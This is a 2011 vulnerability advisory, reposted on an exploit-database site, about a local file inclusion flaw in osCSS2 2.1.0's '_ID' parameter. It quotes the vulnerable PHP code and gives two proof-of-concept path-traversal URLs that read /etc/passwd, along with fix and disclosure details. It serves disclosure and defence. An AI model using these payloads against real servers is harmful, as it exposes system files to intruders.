[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

osCSS2 "_ID" parameter Local file inclusion

Author
Stefan Schurtz
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-17057
Category
web applications
Date add
08-11-2011
Platform
php
Advisory:                   osCSS2 "_ID" parameter Local file inclusion
Advisory ID:            SSCHADV2011-034
Author:                     Stefan Schurtz
Affected Software:      Successfully tested on osCSS2 2.1.0 (latest version)
Vendor URL:             http://oscss.org/
Vendor Status:          Fixed in svn branche 2.1.0 and reported in develop version 2.1.1
 
==========================
Vulnerability Description
==========================
 
osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability
 
==========================
Vulnerable code
==========================
 
//.htaccess
RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php&%{QUERY_STRING}
 
//content.php
require($page->path_gabarit());
 
// includes/classes/page.php
public function pile_file_lang($path_file){
    global $lang;
    if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file;
 
if(!in_array($path_file,(array)$this->PileFileLang))
      include_once($path_file);
}
 
==================
PoC-Exploit
==================
 
http://<target>/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd
http://<target>/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd
 
=========
Solution
=========
 
Fixed in svn branche 2.1.0 and reported in develop version 2.1.1
 
====================
Disclosure Timeline
====================
 
08-Nov-2011 - informed vendor
08-Nov-2011 - release date of this security advisory
 
========
Credits
========
 
Vulnerability found and advisory written by Stefan Schurtz.



#  0day.today [2024-09-28]  #